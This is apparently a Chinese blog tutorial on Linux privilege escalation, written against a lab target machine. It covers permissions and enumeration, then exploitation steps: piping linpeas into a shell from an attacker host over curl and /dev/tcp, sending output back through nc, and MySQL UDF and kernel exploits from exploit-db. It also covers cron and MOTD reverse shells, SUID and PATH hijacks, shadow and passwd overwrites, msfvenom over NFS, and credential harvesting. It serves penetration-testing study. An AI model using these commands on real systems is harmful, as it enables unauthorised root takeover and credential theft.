linux提权详细(超级全)

Linux 中特权升级的最终目标是获得root用户

用户、组、文件、目录

四者之间的关系

用户可以属于多个组。组可以具有多个用户。

每个文件和目录都根据用户、组和"其他用户"(所有其他用户)来定义其权限。

用户

用户帐户配置在/etc/passwd文件。

用户密码哈希存储在/etc/shadow文件中。

用户由整数用户 ID (UID)识别。

root用户帐户是 Linux 中的一种特殊类型的帐户。它的 UID 为 0,系统允许此用户访问每个文件。

组配置在/etc/group文件中。

用户有一个主要组,并且可以有multiple二级(或补充)组。

默认情况下,用户的主要组与用户帐户的名称相同。

文件和目录

所有文件和目录都有一个所有者和一个组。

权限以读取、编写和执行操作的方式定义。

有三组权限,一组为所有者,一组为组,一组为所有"其他"用户

只有所有者才能更改权限

权限

文件权限

• Read -设置后,可以读取文件内容。

• Write -设置后,文件 内容可以修改。

• Execute -设置后,文件可以执行 (即作为某种过程运行 )。

目录权限

• Execute 设置时,目录可以输入。未经此许可,读取或写入权限均不起作用。

• Read -设置时,目录内容可以列出。

• Write -设置时,文件和子目录可以在目录中创建。

特殊权限

• setuid (SUID) bit

设置后,文件将使用文件所有者的权限执行。

• setgid (SGID) bit

设置在文件上时,文件将使用文件组的权限执行。

设置在目录上时,该目录内创建的文件将继承目录本身的组。

查看权限

ls命令可以查看权限

ls -l /bin/date

image-20230925201533992

简单阐述一下: 前10个字符表示对文件设置的权限或目录。

第一个字符只是表示类型,

例如,

“-” 表示普通文件,如.txt,.c,*.h “d” 表示目录,directory “l” 表示软链接文件(ln -s 创建的),link file “p” 表示pipe管道文件 “b” 表示块设备文件,block device “c” 表示字符设备文件,char device “s” 表示socket套接字文件,用于实现两个进程间通信

剩下的9个字符代表3组权限(所有者、组、其他)

每组包含3个字符,表示读(r)、写(r),可执行(x)

SUID/SGID权限由中的s表示执行位置

3个一组,共3组,拿

[rwx][r-x][r-x]

这3组分别表示文件所有者的权限,组的权限和其他用户的权限。

r(read,读权限) :对文件来说,具有读取文件内容的权限;对目录来说,具有浏览目录及子目录的权限。 w(write,写权限):对文件来说,具有修改、删除文件内容的权限;对目录来说,具有删除、移动目录内文件的权限。 x(execute,执行权限):对文件来说,具有执行文件的权限;对目录来说,该用户具有进入目录的权限。

—:表示无任何权限

真实、有效和保存的UID/GID

用户是由用户ID标识的

在linux中,每个用户有3个用户id(real、effective、saved)

用户的真实ID是/etc/passwd中定义的ID

用户的有效id通常等于其真实ID,但是作为另一个用户执行一个进程时,有效id被设置为该用户的真实身份

在大多数访问控制决策中,有效ID用于验证用户,

whoami等命令使用有效id

最后保存的id用于确保SUID进程

临时将用户的有效id切换回其真实ID并返回,在不丢弃原始有效ID的情况下

实操

真实有效的用户/组id

image-20230925203551051

  1. uid=1000(swq):这表示用户的UID(用户标识号),在这里是1000。UID是一个唯一的数字,用于标识系统上的每个用户。括号中的文字 "swq" 是用户名,与UID关联。

  2. gid=1000(swq):这表示用户所属的主要组的GID(组标识号),在这里也是1000。与UID类似,GID是一个唯一的数字,用于标识用户所属的主要组。括号中的文字 "swq" 是主要组的组名。

  3. 组=1000(swq),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),117(wireshark),120(bluetooth),129(scanner),140(kaboxer):这是用户所属的其他附加组的信息。每个组都有一个唯一的GID和一个名称,这些组分别是用户所属的附加组。在括号中,数字表示GID,括号外的文字表示组名。用户可以属于多个组,以便具有不同的权限和访问

当前进程(即我们的shell)

真实、有效、已保存和文件系统用户/组

cat /proc/$$/status | grep "[UG]id"

image-20230925204006669

目的是获取当前正在运行的 shell 进程的用户标识(UID)和组标识(GID)信息。

以下是输出的解释:

  1. Uid: 1000 1000 1000 1000:这一行显示了与用户标识(UID)相关的信息。UID是用户的唯一标识号,用于识别用户。在这里,有四个数字,分别是 1000。这些数字通常表示以下含义:

    • 第一个数字是实际的用户UID(即启动该进程的用户的UID)。

    • 第二个数字是有效用户UID,通常与实际UID相同。

    • 第三个数字是保存的设置用户ID(setuid)。

    • 第四个数字是保存的设置组ID(setgid)。

  2. Gid: 1000 1000 1000 1000:这一行显示了与组标识(GID)相关的信息。GID是用户所属的主要组的标识号。在这里,与UID一样,有四个数字,分别是 1000。这些数字通常表示以下含义:

    • 第一个数字是实际的组GID(即启动该进程的用户的主要组的GID)。

    • 第二个数字是有效组GID,通常与实际GID相同。

    • 第三个数字是保存的设置组ID(setgid)。

    • 第四个数字是无用的,通常会与有效GID相同。

手动枚举

whoami                   # 查看当前用户权限,如果是root用户就不用提权;
id                       # 查看当前id的uid和gid,和权限
id+其他用户               # 查看某个用户
who                      # 查看其他登录状态的用户用户
w                        # 当前用户的具体信息
last                     # 最近登录进来的用户
uname -a                 # 查看linux操作系统内核信息
uname -r                 # 查看内核版本
cat /proc/version        # 查看linux系统当前操作系统版本信息
cat /etc/issue           # 查看linux当前操作系统发行版本信息
cat /etc/redhat-releas   # 查看linux当前操作系统发行版本信息
cat /etc/*-release       # 查看linux当前操作系统发行版本信息
ip addr                  # 查看当前用户的网卡和ip
ip route                 # 查看路由
ip neigh                 # 查看网络邻居
arp -a                   # 查看局域网中绑定的ip地址
hostname                 # 查看机器名称
hostnamectl              # 显示的名称更加全
​
sudo -l                  # 查看那些是可以以root权限运行的用户
getcap -r / 2>/dev/null  # 利用缺陷提权,
ls -a                    # 
history                  # 历史记录
cat /etc/passwd          # 查看用户数有bash的用户
cat /etc/crontab         # 查看是否有自动任务
echo $PATH               # 查看是否有特殊路径
env                      # 看整体环境变量
ps -ef                   # 查看进程
ps axjf                  # 查看进程个数,x指没有连接终端的进程
ps aux                   # 查看进程个数 a所有 u指使用的用户
top                      # 查看进程,在不断的刷新
top -n 1                 # 查看进程,但不刷新
netstat -a               # 查看占用进程的端口及id
netstat -at/-au          # 查看带有tcp或者udp的进程
netstat -l               #查看那些端口在被监听
netstat -ano             # 
find / -perm -u=s -type f 2>/dev/null # 列出有usr的文件
which awk perl python ruby gcc vi vim nmap find screen 2>/dev/null #查看用户是否安装vi vim...   可以用which查看那些可执行文件
cat /etc/fstab           #查看那些磁盘没挂载

自动化枚举(可能会暴露流量,容易遗漏)

工具

PEASS-ng

执行:

1.可以下载本地执行

wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh

加权 chmod +x linpeas.sh 然后 ./linpeas.sh运行

2.也可直接(官方推荐)

curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh | sh

当靶机不能访问网络时,通过外机传入linpeas

首先在外机上下载linpeas

wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh

然后再开启web服务

sudo python3 -m http.server 80

image-20230927185948274

然后在靶机上连接外机

curl 192.168.178.141/linpeas.sh | sh

image-20230927190706123

如何传回外机

在外机监听并存成txt

sudo nc -lvnp 81 | tee linpeas.txt

靶机中输入

curl 192.168.178.141/linpeas.sh | sh | nc 192.168.178.141 81

image-20230927192159650

返回外机查看

image-20230927192232875

已经开始扫描了

最后通过下面命令查看文本(防止乱码)

less -r linpeas.txt

image-20230927192723986

当curl不能用时,可以试试cat

在外机上输入

sudo nc -lvnp 80 < linpeas.sh

在靶机上输入

cat < /dev/tcp/192.168.178.141/80 | sh

其它工具:

LinEnum

Linux-smart-enumeration

Linux-exploit-suggester

unix-privesc-check

服务漏洞提权mysql-UDF

UDF提权 有时候我们通过一些方式获取了目标主机mysql的用户名和密码,并且可以远程连接。我们远程登录上了mysql服务器,这时,我们想通过mysql来执行系统命令,此时我们可以考虑使用UDF进行提权。

UDF是什么 UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。

当获得的用户权限过大

可以使用UDF提权

searchsploit mysql udf

image-20230927203812902

将1518文件下载下来

searchsploit mysql udf -m 1518

ls

cat 1518.c

image-20230927204356407

再文件中已经说明提权过程

image-20230927205326793

gcc -g -c 1518.c -FPIC (FPIC用于共享)

共享文件已经生成

image-20230927211449192

然后登录到mysql的数据库中

sudo mysql -u root -p

image-20230927212017036

查看是否有权限及secure_file_priv为空

show variables like '%secure_file_priv%';

image-20230927212354182

show variables like '%plugin%';

image-20230927212613952

然后按照上面文件给的操作

use mysql;

create table foo(line blob);

insert into foo values(load_file('/home/swq/

image-20230927215438349

然后继续按照.c文件操作即可

image-20230930100350639

可读shadow文件利用

通过枚举查看shadow文件,发现可读,为什么查看shadow文件,因为之前root密码都是存在passwd文件,现在shadow中也有,并且以哈希存储

ls -liah /etc/shadow

查看shadow文件

cat /etc/shadow/

image-20230930101412748

找到带有哈希值的文件

cat /etc/shadow | grep ':$'

image-20230930101706914

对其进行破解便有账号密码

当不知道是什么加密是时候可以用工具hash-identifier识别

image-20230930110754779

要善于拷贝shadow文件,方便更改后的还原

cp /etc/shadow /tmp/shadow.txt

可以使用mkpasswd生成哈希值放到可写的sahdow文件里

mkpasswd -m sha-512 Redteamnotes

那么更改的密码就会生效了

更改passwd中root密码提权

在自己卡里上给passwd可写权限

image-20230930112814791

查看passwd文件,发现root就是我们的目标,其中x就是我们要替换的密码,因为密码会以哈希的形式存入shadow文件,最后passwd里是x

image-20230930113212381

用openssl生成密码的hash,然后替换root后面的x,就可更改root密码

image-20230930113458527

sudo环境变量提权

sudo -l 查看环境变量

有env_reset 和env_keep俩选项说明是可以提权的

image-20230930114450822

创建一个C语言文件

vim shell.c

输入以下文件

image-20230930114746334

使用的共享库,所有要用共享库的语法编译

gcc -fPIC -shared -o shell.so -nostartfile

image-20230930114953803

然后通过共享库使用sudo中无密码使用的find的工具,完成提权

image-20230930115349165

自动任务提权

查看自动任务,可以看到root会自动执行那个.sh文件 cat /etc/crontab

image-20230930120101695

那么查看overwrite.sh文件的位置、权限、内容

image-20230930120320635

发现可写,就看写入反弹shell,进行监听

image-20230930120523070

一分钟之内就会收到shell,拿到root权限

image-20230930120613815

自动任务PATH环境变量提权

前提

1.crontab只会执行crontab中的路径集

2.path有家目录,会优先运行家目录优先级靠前的文件

image-20230930121923918

向overwrite.sh输入执行脚本

image-20230930121842477

一分钟后,便可提权

image-20230930122155651

suid可执行文件已知利用提权

查找并列出所有设置了"setuid"权限位的可执行文件(普通文件),关注其中exim-4.84-3

find / -perm -u=s -type f 2>/dev/null

image-20230930212719789

查找4.84

searchsploit exim

image-20230930212914646

下载下来

searchsploit exim -m 39535.sh

查看文件

image-20230930213058627

架设服务器,用于在靶机下载刚刚那个文件

image-20230930213206827

靶机输入

wget http://10.10.10.10/39535.sh

image-20230930213303570

给权,然后执行文件获得root权限

image-20230930213505022

SUID共享库注入提权

直接执行可执行文件suid -so

image-20230930213920998

直接strings /usr/local/bin/suid-so

查看可读字符串

image-20230930214147092

对strings进行追踪,发现没有目录,那就创建文件

strace /usr/local/bin/suid-so 2>&1 | grep '/home'

image-20230930214852195

写入提权命令

image-20230930215003499

执行共享库

gcc -shared -fPIC -o libcalc.so libcalc.c

然后执行可执行文件

image-20230930215106859

SUID环境变量利用提权

利用suid-env进行提权

image-20230930215434900

查看看到最后是相对路径,并不是绝对路径,可以对其进行劫持,使其执行我们提供的相对路径的service文件

image-20230930215752509

vim service.c

写入C语言提权代码

image-20230930220045109

执行

image-20230930220213220

要对路径进行指定,这样就可以优先读取家目录下的service服务

export PATH=.:$PATH

image-20230930220325517

执行可执行文件

image-20230930220549789

巧用SUID-SHELL功能提权#1

在bash版本号小于4.2时,可以在bash中定义函数,然后用路径的组合做文件名,所以正好契合上面service的利用方式

image-20230930220820001

function /usr/sbin/service { /bin/bash -p; }

最后导入环境变量

export -f /usr/sbin/service

image-20230930221358855

密码和密钥历史文件提权

输入history查看

image-20231001170704869

可以看到

里面有mysql的root账密

可能root用户的密码也是,可以尝试一下

没问题,,是的

也可以输入cat ~/.*history | les

查找和history相关的文件

image-20231001170959649

也要有查看特殊文件的习惯,比如.viminfo可能会有密码的输入

ls -liah

image-20231001171251663

密码和密钥配置文件的查看特权

家目录先的所有文件都要翻翻看看

比如myvpn.ovpn

查看那个txt文件,就有root账密

image-20231001171921070

SSH密钥敏感信息提权

到根目录下查找.ssh文件,这个很重要因为不仅高权限用户可以登录ssh,低权限用户也可以登录

到.ssh文件下发现root_key

image-20231001172552393

复制key,对文本加权

尝试连接

发现签名不对,你就直接加

image-20231001172730335

NFS提权

NFS文件共享的意思,网络文件共享,可以用于撕口子也可以用于提权

cat /etc/exports

查看是否有NFS服务

image-20231001185437638

建立NFS,反弹shell

mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs

注意这里版本为3.

发现要创建软连接

image-20231001185627781

到tmp下查看一下我们创建的软连接

image-20231001190020944

利用linux的msf生成shell

msfvenom -p linux/x86/exec CMD="/bin/bash-p" -f elf -o /tmp/nfs/shell.elf

然后给文件权限

image-20231001190149716

到俩台主机的共享文件下运行shell文件

image-20231001190522957

内核利用提权

一般渗透最后办法了在利用内核提权,很需要经验

uname -a

查看内核,版本越低漏洞越多

然后同上linpeass的使用(不能访问外网)

image-20231001191332426

然后查看searchsploit 40611

并下载文件searchsploit -m 40611

image-20231001191515097

一样每一步都有

image-20231001191645304

外机上建立web服务

sudo php -s 0:80

image-20231001191801598

靶机访问

wget kali-ip/40611.c

image-20231001191904247

之后就按照他说的做就行

也可以查找漏洞利用的其他方法,进行比较

image-20231001192325507

操作

image-20231001192729824

doas less+vi 提权

查看可利用文件

image-20231001193236300

查看doas文件发现,上面说只要保持环境变量就能执行后面的命令

image-20231001193747105

接下来相当用less来查看文件

然后ESC+:!sh即可执行doas里var权限

image-20231001194059369

利用MOTD机制提权

查看motd文件

cd /etc/update-motd.d

里面有00-header文件是欢迎文件,一般等用户登录上就会直接执行

image-20231001194716958

那么接下来就写入反弹shell进行监听

image-20231001194839915

等待靶机登录,就会执行shell

image-20231001195011318

一些重要命令

python -c 'import pty;pty.spawn("/bin/bash")'

stty raw -echo

export TERM=xterm-color

rlwrap nc -lvnp 443 #可以包裹监听内容

  • 36
    点赞
  • 55
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值